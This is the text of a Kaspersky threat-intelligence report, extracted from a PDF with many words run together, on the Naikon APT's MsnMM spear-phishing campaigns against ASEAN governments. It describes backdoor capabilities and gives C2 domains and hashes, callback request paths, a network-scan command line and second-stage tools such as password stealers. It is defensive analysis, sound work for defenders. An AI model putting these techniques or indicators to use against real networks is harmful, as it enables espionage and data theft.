Again, this particular actor isresponsible fortheMsnMM and Naikon campaigns deploying thefollowing backdoors and tools: sslMM winMM exe_exchange wininetMM/sakto inject sys10 xsControl/naikon and plugins rarstone second stage tools The Naikon group also deployed alesser-known set of second stage tools.
They mixed together legitimate system administration tools with offensive network reconnaissance tools, including acustom network and service scanner and an attack codeset based onold Honker Union codebase shared onChinese-speaking forums.
See Second Stage Tools.
For years, Naikon downloaders/backdoors were delivered to victim systems with kit- produced CVE-2012-0158 spear-phish.
This exploit builder kit was shared amongst multiple APTs, because we see thesame exploits dropping tools from various groups.
Many of these exploit attachments were blocked by our advanced exploit protection (AEP) oncustomer systems inVietnam, Myanmar, thePhilippines, and organizations related to theenergy sector inthese and other ASEAN nations.
Some of these backdoors and spear-phish activities also showed up intheHardore Charlie CEIEC dump.
InJan 2014, we observed insome targets theincrease ofright-to-left- override (RTLO) naming schemes forinitial payload delivery.
In addition to its custom toolset, it appears to test freely-distributed tools  inDecember 2013, it pushed out The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White4 For full indicator and other details, please contact intelreportskaspersky.com Everything32 to victim systems, and TeamViewer was used as well.
It islikely that thegroup faced difficulties when it came up against anti-malware products and tried abusing legitimate tools foranti-malware evasion.
Finally, this threat actor deploys acustom pdf binding tool, to add to its effective but low-tech toolset.
The Naikon attackers can be, and infact have been precise insocial-engineering their targets.
Data collection prior to an attack may have included thefollowing data points: full names email addresses and status (active or inactive) date of birth and age interests incurrent events nationality gender previous email and social network communications to and from atarget language spoken Victims of theearly campaigns were located mostly throughout Myanmar, Vietnam, Singapore, Laos, Malaysia, and thePhilippines.
There are other locations where Naikons victims can be found, but these countries stand out.
To get into target networks, theNaikon APT relied onemail as an attack vector.
Itfirst compromised victim systems using common spear-phishing techniques, such as cve- 2012-0158 exploit attachments, attachments altered with RTLO techniques, and acom- bination of icon-spoofing and name padding forexecutables.
The MsnMM campaigns featured ripped images and documents re-used forspear-phish decoys, and we see that technique reapplied throughout other Naikon APT campaigns.
The winMM components were also delivered to Myanmar victims throughout mid-2013 using RTLO and icon- spoofing techniques and sometimes even simpler icon spoofingdouble extensionextra spacing inattachment filenames.
For example, many of theBackdoor.
Win32.MsnMM.i (winMM) executable filenames maintained almost 200 spaces, looking like this: letter to Gov office.doc .exe The Naikon APT used multiple backdoors presenting avariety of behaviors over time, but clusters of indicators were fairly consistent into 2015.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White5 For full indicator and other details, please contact intelreportskaspersky.com SHARED EXPLOIT GENERATION KIT Its interesting that what appear to be multiple campaigns and crews all use akit that generates CVE-2012-0158 exploits embedded with arbitrary backdoors forspear- phishing.
One of theinteresting characteristics of theNaikon APTs kit-produced shell- code isits runtime function offset calculations and control flow are built to jump past behavior-based protection and sandbox analysis.
Each of thewin32 api shellcode calls are carefully executed to land just past function hot patch space and prologues, evading user mode trampolines and hooks.
MsnMM, Naikon and Rarstone backdoors were generally delivered with stock 0158 exploits.
Some dropped iph.bat and an iExplorer.exe that began with aWMcal parameter and profile.dat executable blob loaded into arunning IE process.
Other APTs use this kit as well.
We found Stone Panda Poison Ivy samples delivered with thesame CVE-2012-0158 exploits, dropping iph.bat and iExplorer.exe, and running theiExplorer.exe WMcal executable filename and parameter.
Finally, we found another exploit builders template used to attack Korean-speaking targets.
It was used across this group and others forbuilding CVE-2012-0158 files, sharing thecommon author Tran Duy Linh.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White6 For full indicator and other details, please contact intelreportskaspersky.com SHARED STRINGS, FUNCTIONALITY, TARGETS, AND INFRASTRUCTURE ACROSS CAMPAIGNS Multiple Naikon tools used inmultiple campaigns shared strings, functionality, adeployment and content focus onASEAN organizations and other organizations doing business with them, and theinfrastructure itself.
Lets examine some of thetoolsets shared strings and functionality, then move onto shared infrastructure.
Similar strings While theNaikon backdoor maintained theuser-agent string NOKIAN95/WEB, it also maintained adebug path f:\MyProjects\xServer\Release\xServer.pdb Also, theNaikon backdoors matching management software iscalled xsControl.
Plugins fortheNaikon backdoor included ascreenshot grabber named xsAdv.dll, and asingle export XS_Screencap.
This debug path inNaikon backdoors isvery similar to thedebug path maintained inRarstone backdoors: g:\MyProjects\xsFunction\Release\DLL.pdb The MsnMM campaign backdoors all maintain an MM internal name, and thefunctionality changes when comparing them: WinMM WininetMM SslMM A more recent oddity from this group includes aWinMM dropper with theinternal name Zhixin, creating arecently compiled Sys10 backdoor.
Some MM executables maintained debug strings across versions and families: J:\chong\new\Release\SslMM.exe and J:\chong\nod\Release\SslMM.exe The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White7 For full indicator and other details, please contact intelreportskaspersky.com Shared infrastructure Now, lets take alook at some of theshared infrastructure that helps to tie all ofthesecampaigns together.
MsnMM backdoors and naikon backdoors share por- tions ofinfrastructure across campaigns.
For aquick example, early msnMM back- doors like sslMM, and one of thelater tools, exe_exchange, share some domains with thenokian95 (naikon) and sys10 backdoors.
There ismuch crossover.
Here, you can see atable recording domains that are shared across thebackdoors forcommand and control infrastructure.
exe_exchange sys10 winMM sslMM wininetMM/ sakto xsPlus/naikon ahzx.eicp.net yes yes yes mncgn.51vip.biz yes yes yes bkav.imshop.in yes yes ubaoyouxiang.gicp.net yes yes yes yes googlemm.vicp.net yes yes myanmartech.vicp.net yes yes yes Correlating target profiles with spear-phish and decoy content One of themost striking characteristics of this APT isthat its targeting interest isrevealed by its spear-phish and decoy content.
Malicious actors of all stripes, including cybercriminals, have forat least thelast ten years abused hot topics intheir social-engineering content to better attract and mass-exploit victim sys- tems.
Its apretty worn-out discussion.
What isdifferent about theNaikon APTs useof hot topics inspear-phish and decoy content isthat reveals its specific victims and how these change over time.
Precision social engineering seems to be an ele- vated skill set forthegroup.
A few of themost interesting examples of such content include: aUN discussion andvote onnuclear proliferation and disarmament, theMH370 flight, and construction ontheRaytheon-built National Coast Watch Center inPH.
For example, inthesecond week of October 2012, during thegangs intense ongoing focus onSE Asian countries like Cambodia and its diplomats, we find awinMM backdoor detected as Trojan.
Win32.Agent.udtc inNew York City.
This verdict identified theNaikon The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White8 For full indicator and other details, please contact intelreportskaspersky.com APTs backdoor onthevictim system.
The timing isuncanny because, inthat same week speeches and views onnuclear disarmament and non-proliferation were presented by SE Asian country delegates to theUnited Nations inNew York City.
Anexample of such atalk ishere anaikon decoys content was strikingly similar: MsnMM campaigns most commonly presented spear-phish exploits targeting CVE- 2012-0158.
A listing of screenshots inAppendix A reveals thevariety of content and themes, all related to events and topics intheASEAN region.
Example titles include: Letpadaung copper mine.doc Myanmar Wanbao to commence construction of Letpadaung project December 2014 nuclear agreement burma.doc Burma Signs New Nuclear Deal WithIAEA September 2013 ALP Statement onPresent Illegal Bangali Problem inside Arakan.doc ALP statement onpresent illegal Bangali problems inside Arakan [pdf] December 2012 Calendar Misslao 2013 Free.doc Miss Lao Calendars January 2014 ASEAN and Partners Firmly Committed toNarrowing theDevelopment Gap.doc ASEAN and Partners Firmly Committed to Narrowing theDevelopment Gap April 2013 refer to the11th ACD Ministerial Meeting.doc Asia Co-operation Dialogue eyespeace December 2013 Asias Military Developments.doc Asias military developments November 2013 http://www.un.org/disarmament/special/meetings/firstcommittee/67/pdfs/1120Oct20GD20Cambodia.pdf http://www.un.org/disarmament/special/meetings/firstcommittee/67/pdfs/1120Oct20GD20Cambodia.pdf http://www.myanmarwanbao.com.mm/en/our-2014-news/45-december-2014/128-official-press-release-of-myanmar-wanbao.html http://www.myanmarwanbao.com.mm/en/our-2014-news/45-december-2014/128-official-press-release-of-myanmar-wanbao.html http://www.voanews.com/content/burma-signs-new-nuclear-deal-with-iaea/1751469.html http://www.voanews.com/content/burma-signs-new-nuclear-deal-with-iaea/1751469.html http://www.arakanalp.com/wp-content/uploads/2012/10/ALP-statement-on-present-illegal-bangali-problems-inside-Arakan.pdf http://www.arakanalp.com/wp-content/uploads/2012/10/ALP-statement-on-present-illegal-bangali-problems-inside-Arakan.pdf http://laoconnection.blogspot.com/search/label/Lao20Calendars http://www.asean.org/news/asean-secretariat-news/item/asean-and-partners-firmly-committed-to-narrowing-the-development-gap http://www.asean.org/news/asean-secretariat-news/item/asean-and-partners-firmly-committed-to-narrowing-the-development-gap http://www.asean.org/news/asean-secretariat-news/item/asean-and-partners-firmly-committed-to-narrowing-the-development-gap http://www.talkvietnam.com/2013/12/asia-co-operation-dialogue-eyes-peace/ http://www.talkvietnam.com/2013/12/asia-co-operation-dialogue-eyes-peace/ http://www.aspistrategist.org.au/asias-military-developments The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White9 For full indicator and other details, please contact intelreportskaspersky.com The following examples content was crafted to appear like alegitimate international agreement discussion.
After themalicious document isopened and successfully exploits CVE-2012-0158 onthevictim workstation, theexploit code drops and opens this decoy Word document: This next example iswritten with theLaotian Phetsarath OT font, adecoy attempt to be alegitimate Daily News Brief from theLaotian Foreign Ministry of Affairs.
Itdemonstrates thegroups intentions to hit targets inLaos: The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White10 For full indicator and other details, please contact intelreportskaspersky.com Appendix A contains many more example document titles and screenshots.
Thethemes and content that would appeal to politically-interested individuals invarious parts oftheworld quickly become obvious.
In addition to ahigh volume of files exploiting CVE-2012-0158, theMsnMM attackers forabrief period used RTLO (right to left override) techniques, and then attachments exploiting CVE-2010-3333.
An example of RTLO that creates and opens this decoy document to camouflage its malicious background activity, then dropping and executing MsnMM backdoors onits victim system: UNFC_Statement_final_rcs.pdf The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White11 For full indicator and other details, please contact intelreportskaspersky.com NAIKON APT MSNMM CAMPAIGN BACKDOORS ANDLATERAL MOVEMENTTOOLSET SslMM MD5  Filename File Size Compilation date Linker version 7b1199523a662a3844ba590f83b56dae - temp\conime.exe 77,824 bytes 2013:01:31 01:25:3800:00 6.0 The MsnMM gang built and released many more variants of their sslMM creation.
Thecode isafull-featured backdoor.
Each variant of this tool starts by attempting tocreate asocket, and then creates anew thread implementing afairly complicated keylogging facility not often seen, using Windows Keyboard Accelerators.
Online code demonstrates thetechnique here: http://thronic.com/Win3220Keylogging/ The backdoor retrieves alarge number of victim system data points, which it then uses to check into its hardcoded C2.
The backdoor reports system identification information both to present thevictims identifying information and to fingerprint thesystem forasset management: OS version Service pack information Processor speed System name Logged-on user name OS install date One of its more interesting features istheability to fetch and use certificates from theMy store onWindows systems.
The My certificate store iscreated onaper- user basis, and this iswhere users certificates are stored.
It isreserved foreach userforsigning and decrypting data and encrypting network communications.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White12 For full indicator and other details, please contact intelreportskaspersky.com Feature list: Victim fingerprinting and performance sensitivity  system configuration collection Persistence  immediately identifying theStart Menu Startup directory and dropping aLNK to its own executable disguised as aOffice Start, Yahoo Talk, MSN Gaming Z0ne, or MSN Talk shortcut Configurable network settings  both aprimary and backup C2 string ishard-coded ineach backdoor.
At this point, we are aware of almost 50 domains and unique IP addresses used to host C2 Keylogging facility  Windows Accelerators with hidden window and lengthy Accelerator table Flexible network connectivity  proxy support foruse with victim systems situated behind isolated networks GET and POST network code forexfiltrating system information Log file capabilities File search and file write primitives  identifying and collecting sensitive ondisk information Download and execute further arbitrary downloads Arbitrary inter-process launch and communication through named pipes Process privilege and token adjustments Anti-malware kill-process identification and termination Digital Certificate stealing and reuse forstealth SSL communications Network server listener The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White13 For full indicator and other details, please contact intelreportskaspersky.com WinMM MD5  Filename File Size Compilation date Linker version c8c81cca4645e71213f2310cec6c277d - temp\wuauc1t.exe 118,784 bytes 2012.11.01 00:53:49 6.0 WinMM isafull-featured, simple backdoor.
Its first actions upon installation are to col- lect user and system data and report them back to theC2 over http.
It uses NetUser- GetInfo to identify that it isrunning under an Admin account onthelocal system, then retrieves thesystem name and theversion of theoperating system that isrunning, including its service pack, and collects thesystem install date from theregistry: \\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\InstallDate These values are built into asingle string forreporting.
SslMM also maintains this code chunk and functionality but does not immediately invoke it like winMM.
Also interesting and different from sslMM, are thedecoy Word documents dropped by many of thewinMM droppers.
Images of these documents areshown intheAppendix.
The documents are all written and formatted with aspe- cially developed Myanmar2 True Type font, demonstrating thefocus onpolitically- connected, native Myanmar speakers as targets.
This font isnot delivered by default with Microsoft Office.
Instead, it must have been specifically installed by theattackers and then by thevictims, otherwise thedocuments would not have displayed properly.
The backdoor maintains multiple primitive functionalities.
Setting aWH_CBT Windows hook forfull activity spying (sslMM does not maintain thishooking functionality): File search and capture Process creation Keystroke capture The backdoor isusually configured with primary and backup domains forC2 communications, although there are multiple known samples that maintain an IP address or only asingle domain forcommunications with no backup.
Communication isbuilt to appear as though aweb browser issimply making arequest to aremote web server.
Some of these backdoors are configured touseanunusual port forencrypted communications.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White14 For full indicator and other details, please contact intelreportskaspersky.com exe_exchange (used inattacks prior to 2012) MD5  Filename File Size Compilation date Linker version 6a82c153bd370250cc2fed89f1bb5c91 - temp\services.exe 69,632 bytes 2012-03-13 07:54:19 6.0 INJECTv1/INJECTRESOURCE MD5  Filename File Size Compilation date Linker version b295274423c91ad9e254475bf8edd459 - wmiprive.exe 159,744 bytes May 27, 2013 The xsPlus/nokian backdoor and keylogger MD5  Filename File Size Compilation date Linker version d86106faaa398b8d83437176bf5e39c4 281,624 bytes 2011.12.19 08:06:30 6.0 In 2014 theNaikon gang was found to be using another tool that maintains an internal name xsPlus and xsControl.
This builder and its backdoors produce components with theNOKIAN95/WEBx user-agent strings, forwhich there are multiple versions.
Itsfunctionality iscovered inour previous Naikon APT post.
https://securelist.com/analysis/publications/69953/the-naikon-apt/ The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White15 For full indicator and other details, please contact intelreportskaspersky.com NAIKON AND MINOR LINKS WITH APT30 Another interesting aspect of thebackdoor builder isthat it also provides akeylogger plugin that isused onspecific victim systems.
And here there are minor, but striking, similarities with theAPT30 tools.
Callback sessions forstolen data include these URLs: POST /stonehoof.rar/userxxxpasswordxxx GET /stonehoof.rar/userxxxpasswordxxx Some of thecollector components upload data inSQLite3 format, while earlier versions of thetool upload xml formatted data.
Presenting asimilarity with theAPT30 artifacts, their callback domains included stonehoof.com, hosted onseveral IPs during thenaikon campaigns.
This name isvery unusual, and it isan odd coincidence that it isshared bytwo geopolitically-focused cyber-espionage groups, both targeting theSouth China Sea region.
APT30 - stonehoof.com 2012-10-07 208.77.46.251 174.36.159.165 2013-04-03 174.36.159.165 219.90.115.251 2013-04-14 219.90.115.251 174.36.159.164 While theMsnMM components include theunusual MM ininternal names sslMM, winMM, and wininetMM, some of thestrings intheAPT30 GEMSTONE software include thesame  search and retrieval of theregistry key Software\Microsoft\GetMM, and three function names MicrosoftGMMExit, MicrosoftGMMHaveExit, MicrosoftGMMZJ.
The APT30 BACKSPACE backdoor also contains asimilar potential target reference, asdiscussed intheFireEye paper.
BACKSPACE Variant Path  Possible Target ZJ Auto (version 1.4)  /autoMM/  Myanmar So, theMM shared by both of these may be asimple reference to Myanmar, thestarting target forthese Naikon APT attacks.
APT30 backdoors also add MSN.lnk shortcuts to theStart Menu Startup location forpersistence, just like theMsnMM components spoof Msn Gaming Zone.lnk andMsn Talk.lnk forpersistence.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White16 For full indicator and other details, please contact intelreportskaspersky.com Sys10 MD5  Filename File Size Compilation date Linker version c58df5892700ac3f467524f86bf325c0 - update.exe 116.5 kb 2013.02.01 07:39:12 9.0 Yet another backdoor was used throughout 2013 by Naikon.
Several of theC2 domains are shared with either Naikon or MsnMM infrastructure.
This backdoor isavery basic initial component.
To give an idea of thesophistication of its develop- ment, one ofthedecryption schemes it uses isan xor 0x1 loop onthevery begin- ning of its .datasection to decrypt its C2 domain.
In this case, 6C 6C 6A 62 66 2F 7468 62 712F6F 64 75 01 (lljbf/thbq/odu)  mmkcg.uicp.net.
This weak level of encryption isodd, because other strings, like theunicode version of thecallback url s.y.s.t.e.n..c.p...s..l.o.g...s..i.n.d.e.x...d., aremaintained inplaintext inthe.rdata section.
Perhaps theauthors thought xoring thedomains would hide their infrastructure foras long as needed, or they were working with others who didnt understand automated sandboxes and tracing but didnt want thedns strings present inthebinary.
It doesnt seem to make sense, but it appears tohave been effective enough to leave intheexecutables.
For all of theSys10 backdoors, URL parameters were used consistently fortheinitial C2 callback: systencplogindex where:  cp  system computername log  signed decimal integer representation of theOS InstallDate index  simply thereturn value from aGetTickCount call The backdoor collects several bits of identifying information to send to theC2: computer name account name of logged-in user group name of logged-in user local IP address OS versioning information OS install date The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White17 For full indicator and other details, please contact intelreportskaspersky.com The backdoor maintains asimple set of primitives: http-based communications with hardcoded C2 download additional components start anew process terminate arunning process find files and copy them delete files create files We detected this backdoor onmultiple victim workstations with thefollowing verdicts: Trojan.
Win32.Agentb.hyb Trojan.
Win32.Agentb.iqj Backdoor.
Win32.MsnMM.p UDS:DangerousObject.
Multi.
Generic Trojan.
Win32.Agentb.jwp According to KSN (Kaspersky Security Network) data, almost all of thevictims attacked with this backdoor are based inMyanmar, or were Myanmar delegates travelling through theother countries like theUS, forexample.
Some of thevictims were located inVietnam and Singapore.
Victim profiles range from global political representatives and local IT service companies, to government ministries controlling media and news content, university students, and local law enforcement agencies.
WininetMM/Sakto MD5  Filename File Size Compilation date Linker version 516f64dd4fce3b9a325ea8501f97a88a 95,744 bytes 2014.11.03 07:59:14 9.0 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White18 For full indicator and other details, please contact intelreportskaspersky.com SECOND STAGE TOOLS Most of theNaikon APTs second stage tools detected onvictim networks are publicly- available.
Some are very common system administration tools and utilities, and some are less publicly-available custom written scanners and tools available through Chinese hacking forums.
Their ability to move through networks undisturbed appears to have matured over time, demonstrating that they are aseasoned team: Windows system utilities: ftp.exe, systeminfo.exe, ipconfig, net view, ping, netstat -ano, net use, quser, tasklist, netsh interface ip, netsh interface show, netsh advfirewall firewall, reg export, AT Sysinternals: procmon.exe, tcpview.exe, procexep.exe, psexec Prosolve: winscan.exe Rarlabs: rar.exe Other: procex.exe, nc.exe, xscan.exe, winscanx.exe, hscan120.rar package (includes mysql.exe and sqlcmd.exe), cutfile.exe, tftp.exe, Win7 elevation of privilege and UAC bypass, ReadPSW.exe (password stealer) The Naikon APT frequently used acustom backdoor that appears to be an HDoor variant, based onold Honker Union code like hscan v120.
For example, once onavictim network, one of thefirst steps isto run thehdoor -hbs scan to identify target local network hosts.
Alternatively, it may show up onvictim networks and berun with along list of parameters: lms.dat -hscan 192.168.0.1-192.168.0.254 /a The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White19 For full indicator and other details, please contact intelreportskaspersky.com CUSTOM HDOOR MD5  Filename File Size Compilation date Detection Name bf6d3f52ab8176122be858ddccc22148 - lms.dat 56 kb 2015.05.20 HackTool.
Win32.Agent.whj The Naikon APTs custom-built HDoor tool isarobust reconnaissance tool forlateral movement, supporting theidentification of, interfacing with and attacking of multiple technologies and resources: host, user, group, and related authentication resources and cracking/brute forcing capabilities network asset scanning and identification, including SQL database, embedded network devices like home or SMB routers, and other common network services fake service listener to sniff traffic disk wiping  safe delete with multiple overwrites process management local filetime modifier SQL administration toolset SOCKS5 proxy service banner-based scanner AV killer Publicly-available hd.exe (40138f3db14e6e137f8d0bdcbb5851d8), as posted by NCPH: The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White20 For full indicator and other details, please contact intelreportskaspersky.com The corresponding hbs.txt output file content that issometimes left behind onvictim systems: The operators scanning issomewhat inconsistent.
They will scan foraspecific set ofports that include 21,22,80,3389,1433,3306, and 389.
Sometimes, they add 139 and 445 to theend of that list.
Often, they check foraPortString, or banner, which isoutput to atxt file: [10.1.1.2 ]: Port 22 Open SSH-1.99-Cisco-1.25 [10.1.1.3 ]: Port 21 Open 220-FileZilla Server version 0.9.41 beta [10.1.1.4 ]:  Port 21 Open 220 Lexmark X860de FTP Server NP.APS.N332a ready.
[
10.1.1.5 ]: Port 22 Open SSH-2.0-OpenSSH_5.8 [10.1.1.6 ]: Port 22 Open SSH-2.0-dropbear_0.48 [10.1.1.7 ]: Port 21 Open 220 Service ready fornew user [10.1.1.8 ]: Port 21 Open 220 Microsoft FTP Service (Version 5.0).
[
10.1.1.8 ]: Port 80 Open [10.1.1.8 ]: Port 3389 Open [10.1.1.8 ]: Port 139 Open [10.1.1.9 ]: Port 21 Open 220 fima FTP server (SunOS 5.8) ready.
[
10.1.1.10 ]: Port 21 Open 220 (vsFTPd 2.0.5) [10.1.1.13 ]:  Port 21 Open 220 EthernetBoard OkiLAN 8100e Ver 02.15 FTP server.
[
10.1.1.15 ]:  Port 22 Open SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 [10.1.1.21 ]:  Port 80 Open http://10.1.1.21/cgi-bin/webproc Dlink WIRELESS AP The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White21 For full indicator and other details, please contact intelreportskaspersky.com TARGET AND VICTIM PROFILES Target profiles included high profile government and military agencies around theSouthChina Sea: Law enforcement Government  executive, administrative, regulatory Military  operations centers Economic administration State media Public/Private energy Shared Victims with Cycldek and Comparing Lateral Movement with Cycldek The Cycldek APT appeared to follow an operational script across victim systems.
Itcreated or used c:\intel onthevictim hard disk to unpack tools and compress/ archive stolen victim files and data with Winrar, like c:\intel\1.rar.
Some of these victim systems were occupied by both theCycldec and Naikon attackers.
The Cycldek attackers maintained this c:\intel directory and its subdirectories as asort of staging point.
This mirrors what we have seen with Naikon directory setup onsome victims.
a set of subdirectories stolen files forexfiltration operational logs process logs Cycldek tools and their config files The Naikon APT and Cycldek APT also share acommon attraction to Honker Union codebase.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White22 For full indicator and other details, please contact intelreportskaspersky.com SPEAR-PHISH, DROPPED FILES, WEBBROWSER INJECTION The common sequence of events onavulnerable system falling forrelated spear- phish attacks led to anewly-created Internet Explorer process running with execution transferred to additionally loaded executable code, usually profile.dat, maintaining theconnectback C2 communication code and data.
In this instance, anaikon backdoor was delivered initially as apart of asmall package of objects.
The exploit attachment dropped iph.bat, iExplorer.exe, and aclean decoy document.
The exploit executed this batch file, which inturn executed iExplorer.exe and opened adecoy document from temp.
The iExplorer.exe process wrote out aprofile.dat file, launched thelegitimate Internet Explorer, and injected the.dat file into this newlycreated browser process.
It transfered control to theinjected .dat code and terminated itself.
The .dat code then connected with ahardcoded C2 from within Internet Explorer, acommon technique forevading any outbound traffic firewall issues.
The full email spear-phish and other decoy documents content presented here display thecampaigns focus onASEAN targets that line up with theMsnMM campaigns.
Example spear-phish and dropped sequence forNOKIAN95/WEB sent to web email service provider users intheUS and Southeastern Asian region: Example Word document decoy The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White23 For full indicator and other details, please contact intelreportskaspersky.com Example details, exhibiting thecommon sequence of events onsystems: c334737ea5e8f74567bfdc2fce6717b9,2 SpecialServices.doc Drops   temp\iph.bat c8ed40879e1e3352692fe8c765294955,temp\svchost.exe c8ed40879e1e3352692fe8c765294955,C:\WINDOWS\ system32\ymsgr_tray.exe C2: frankhere.oicp.net:443 1b37457632840b04bf03e0745e51e573,readme.rtf Drops   temp\iph.bat  temp\iExplorer.exe WMcal 6cbc73fae7118dbd0fae328ce8ee6050,iExplorer.exe,Trojan- Downloader.
Win32.Cordmix.cu C2: phsenator.vicp.net C2: goihang.vicp.net:443 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White24 For full indicator and other details, please contact intelreportskaspersky.com Example decoy Word document cb72e70378755f1e8ab744a5b5e692bd,Asias Military Developments.doc (ripped from Australian Strategic Policy Institute blog post located here  http://www.aspistrategist.
org.au/asias-military-developments/) 638c119a82a1b1d470e42e2e9712f3fb,iph.bat 79de618615e139053ad92ca1e7bb7456,C:\Documents and Settings\user\Local Settings\ Temp\mshtml.dat 4299846c34fddda2f5a75239f8aca424,C:\DOCUME1\user\LOCALS1\Temp\upd.exe Rpcss a3b3a32b6f67e4629133cc4578230efe,C:\WINDOWS\system32\msictl.exe C2: us.googlereader.pw:443 http://www.aspistrategist.org.au/asias-military-developments/ http://www.aspistrategist.org.au/asias-military-developments/ The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White25 For full indicator and other details, please contact intelreportskaspersky.com Example decoy pdf targeting Myanmar government 5f1f6fb3cea3e9c3bd84909b7d37aa8d, knu president speech on65th anniversary of karen resistance day _burmese language_?fdp.scr  indicates RTLO naming, appeared to thetarget as pdf knu president speech on65th anniversary of karen resistance day _burmese language_rcs.pdf 55b8b8779001b7e78a6adc55fb546401,C:\DOCUME1\user\LOCALS1\Temp\update.exe 8660193a90e70f19a4419ae09306761f,C:\DOCUME1\user\LOCALS1\Temp\adobe.pdf C2: ubaoyouxiang.gicp.net The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White26 For full indicator and other details, please contact intelreportskaspersky.com Example decoy Word document targeting PH gov 27ed7c7dd840ff7936418cf029d56603, AFP Summary.doc    temp\iph.bat ceb6e4499cfd8650f3e94fbcf7de48f6,temp\iExplorer.exe WMcal b6424852dd0187ea554a1cbc4e3490f3,temp\profile.dat C2: ttteco.vicp.net Many of these backdoors were delivered by simply binding decoy pdfs to aNaikon backdoor and sending this bundle to target addresses.
Here isaMarch 2014 spear-phish email with thesubject line Fw: Fw: tape transcript formh370 (3bed6788753690762c7d15a3247d8301): The tape transcript.zip (5de5aa40eb3d30df2053a38bc26963b5) file contains both apdf file and aNaikon dropper name 24march_final_TAPE TRANSC1 detected asTrojan-Dropper.
Win32.Injector.kasl (4972c7205e3279322637f609b9199e97).
Thedropper maintains aclean copy of this decoy pdf that opens onexecution, [as well as?]
theNaikon backdoor (ab0185f3dc730af754559297f6f47492) and accompanying mshtml.dat component (03A3251BDE74DF30AB5BF0B730E08C8D) The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White27 For full indicator and other details, please contact intelreportskaspersky.com that communicates with C2 xl.findmy.pw.
This dropper isbuilt with theattackers pdfBind 2012 tool.
Once extracted to disk, you can see that theicon was replaced fortheexecutable with an Adobe pdf icon.
Lots of users fall forthis sort of trick when file extensions are not visible: The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White28 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX A: MsnMM SPEAR-PHISH ANDDECOY CONTENT Image 1.
ICJs verdict owed respect 17 Apr 2013.doc Image 2.
FDI Law Weeding Menu.doc The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White29 For full indicator and other details, please contact intelreportskaspersky.com Image 3.
Danh sach dai bieu HNHTDMNC tai TPHCM.doc Image 4.
Thein Sein first European tour.doc Image 5.
ASEAN and Partners Firmly Committed To Narrowing Development Gap.doc The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White30 For full indicator and other details, please contact intelreportskaspersky.com Image 6.
ALP Statement onPresent Illegal Bangali Problem inside Arakan.doc Image 7.
ISEAS Perspective 29nov12.doc The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White31 For full indicator and other details, please contact intelreportskaspersky.com Image 8.
Learning Journal ASC 13-1_1.doc (related to http://www.apcss.org/wp-content/uploads/2013/01/finalfinalhandbookJan13.pdf, http://www.apcss.org/) Image 9.
unnamed.jpg 48c2d02c443d70fe004a2d6fb9439f76, cve-2012-0158, mau van ban.doc or 2013_ thong tin gia dinh.doc, delivered to VN targets http://www.apcss.org/wp-content/uploads/2013/01/finalfinalhandbookJan13.pdf http://www.apcss.org/ The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White32 For full indicator and other details, please contact intelreportskaspersky.com winMM-related Dropped Decoy Documents Image 1.
book form fornaning 30-8.doc (dropped by 448cd7c3ae0ae445d805a4849fe5e120) The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White33 For full indicator and other details, please contact intelreportskaspersky.com Image 2.
Unknown.
Dropped by 748c4761822dc7076399922df58551ae The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White34 For full indicator and other details, please contact intelreportskaspersky.com Image 3.
fact sheet asean-us (president office format).doc Dropped by fact sheet asean-us (president office format).doc .exe 6803bd509d36d2b99049fcc9d975a21c Image 4.
Trade and Investment (english).doc Dropped by b049fdeeb707e86e5e334f72cd50ffd8 trade and investment (english).doc .exe The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White35 For full indicator and other details, please contact intelreportskaspersky.com Image 5.
List of Attendance.doc Dropped by F14C42765F130EE6DEC3A87DC50A47E1 Image 6.
talking point english(english).doc Dropped by talking point english(english).doc .exe, 800116c4fe842768a0e1acbc72c8cd62 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White36 For full indicator and other details, please contact intelreportskaspersky.com Image 7.
talking point myanmar (21-3-2013).docx Dropped by talking point myanmar (21-3-2013).docx .exe 416e6c9105139080310984ed06f6a57b Image 8.
Unknown.
Dropped by 6758fc7e483ad9cd6280bcc3f4d85222 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White37 For full indicator and other details, please contact intelreportskaspersky.com Image 9.
tp forvp with swiss_myanmar[1].doc Dropped by tp forvp with swiss_myanmar[1].doc .exe 90E9BDFC1FC6FE5999B047880C7445AE Image 10.
Unknown.
Dropped by 7F422B43EEB93B230FF7553C841C4785 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White38 For full indicator and other details, please contact intelreportskaspersky.com Image 11.
Unknown.
Dropped by 1d6258bc3688226e7cb56fb821215a8b Image 12.
Unknown.
